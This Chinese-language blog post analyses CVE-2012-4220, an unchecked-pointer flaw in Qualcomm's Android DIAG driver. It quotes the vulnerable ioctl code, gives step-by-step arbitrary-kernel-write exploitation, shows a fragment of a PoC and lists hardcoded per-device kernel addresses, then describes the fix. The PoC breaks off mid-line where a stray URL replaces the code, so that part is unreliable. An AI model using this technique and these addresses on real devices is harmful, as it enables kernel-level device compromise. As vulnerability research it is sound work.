首页 > 代码库 > Android exploit with a Qualcomm processor (CVE-2012-4220)

Android exploit with a Qualcomm processor (CVE-2012-4220)

/*

本文章由 莫灰灰 编写,转载请注明出处。  

作者:莫灰灰    邮箱: minzhenfei@163.com

*/

1. 漏洞描述

在处理DIAG设备的ioctl系统调用参数时,一些未经验证的引用自用户层的不可信指针被使用了。对于本地安装的应用程序来说,可以使用这个漏洞来实施拒绝服务攻击,或者在内核下执行任意代码。


2. 漏洞分析

} else if (iocmd == DIAG_IOCTL_GET_DELAYED_RSP_ID) {
	struct diagpkt_delay_params *delay_params =
				(struct diagpkt_delay_params *) ioarg;
	if ((delay_params->rsp_ptr) &&
	 (delay_params->size == sizeof(delayed_rsp_id)) &&
			 (delay_params->num_bytes_ptr)) {
		*((uint16_t *)delay_params->rsp_ptr) =
			DIAGPKT_NEXT_DELAYED_RSP_ID(delayed_rsp_id);
		*(delay_params->num_bytes_ptr) = sizeof(delayed_rsp_id);
从上面的代码中可以看出,DIAG驱动在处理DIAG_IOCTL_GET_DELAYED_RSP_ID未对用户层传下来的参数做任何的校验就直接使用了,那么最简单的攻击就是内核拒绝服务攻击了,即把delay_params->rsp_ptr写成一个无效的地址。那么,这个漏洞显然可以有更高级的利用方法。

*((uint16_t *)delay_params->rsp_ptr) = DIAGPKT_NEXT_DELAYED_RSP_ID(delayed_rsp_id); 这个赋值操作,可以修改delay_params->rsp_ptr的值,DIAGPKT_NEXT_DELAYED_RSP_ID宏的代码如下:

#define DIAGPKT_MAX_DELAYED_RSP 0xFFFF

#define DIAGPKT_NEXT_DELAYED_RSP_ID(x)         ((x < DIAGPKT_MAX_DELAYED_RSP) ? x++ : DIAGPKT_MAX_DELAYED_RSP)
每调用一次DIAGPKT_NEXT_DELAYED_RSP_ID宏,那么全局变量delayed_rsp_id都会+1,最后等于ushort的最大值,即0xFFFF就不再+1了。


如何利用:

知道了原理之后,那么其实我们每一次ioctl调用可以修改2个字节。

1.通过ioctl得到当前delayed_rsp_id的值

2.如果delayed_rsp_id的值大于我们需要的值,那么通过*(delay_params->num_bytes_ptr) = sizeof(delayed_rsp_id);把delayed_rsp_id重置为2(delayed_rsp_id的地址需要硬编码得到)

3.之后得到loop的次数,loop_count = (data_we_want - delayed_rsp_id_value) & 0xffff;

4.最后将delay_params->rsp_ptr地址里面的值修改为我们需要的值,从而达到任意地址修改的目的

5.如果是修改4字节的函数地址,那么可以分两次来修改


3.PoC

static bool
inject_value(struct diag_values *data,
             int fd, void *delayed_rsp_id_address)
{
  uint16_t delayed_rsp_id_value = http://www.mamicode.com/0;>

delayed_rsp_id_address的硬编码地址如下:

static supported_device supported_devices[] = {
  { DEVICE_F03D_V24R33Cc,     0xc0777dd0 },
  { DEVICE_F11D_V21R36A,      0xc092f1a4 },
  { DEVICE_F11D_V24R40A,      0xc091bf8c },
  { DEVICE_F11D_V26R42B,      0xc091bf8c },
  { DEVICE_F12C_V21,          0xc075aca4 },
  { DEVICE_IS17SH_01_00_03,   0xc0a546fc },
  { DEVICE_IS11N_GRJ90,       0xc0835758 },
  { DEVICE_ISW11K_145_0_0002, 0xc07f93a4 },
  { DEVICE_SC01E_LJ3,         0xc0bdfae0 },
  { DEVICE_SC05D_LPL,         0xc0cb0924 },
  { DEVICE_SCL21_LJD,         0xc0b96128 },
  { DEVICE_SO05D_7_0_D_1_117, 0xc0b8840c },
  { DEVICE_ISW12K_010_0_3000, 0xc0935104 },
};



4.漏洞修复

使用copy_from_user和copy_to_user函数保证用户层传入参数的正确性,而不是直接使用。



参考文章:https://www.codeaurora.org/projects/security-advisories/multiple-issues-diagkgsl-system-call-handling-cve-2012-4220-cve-2012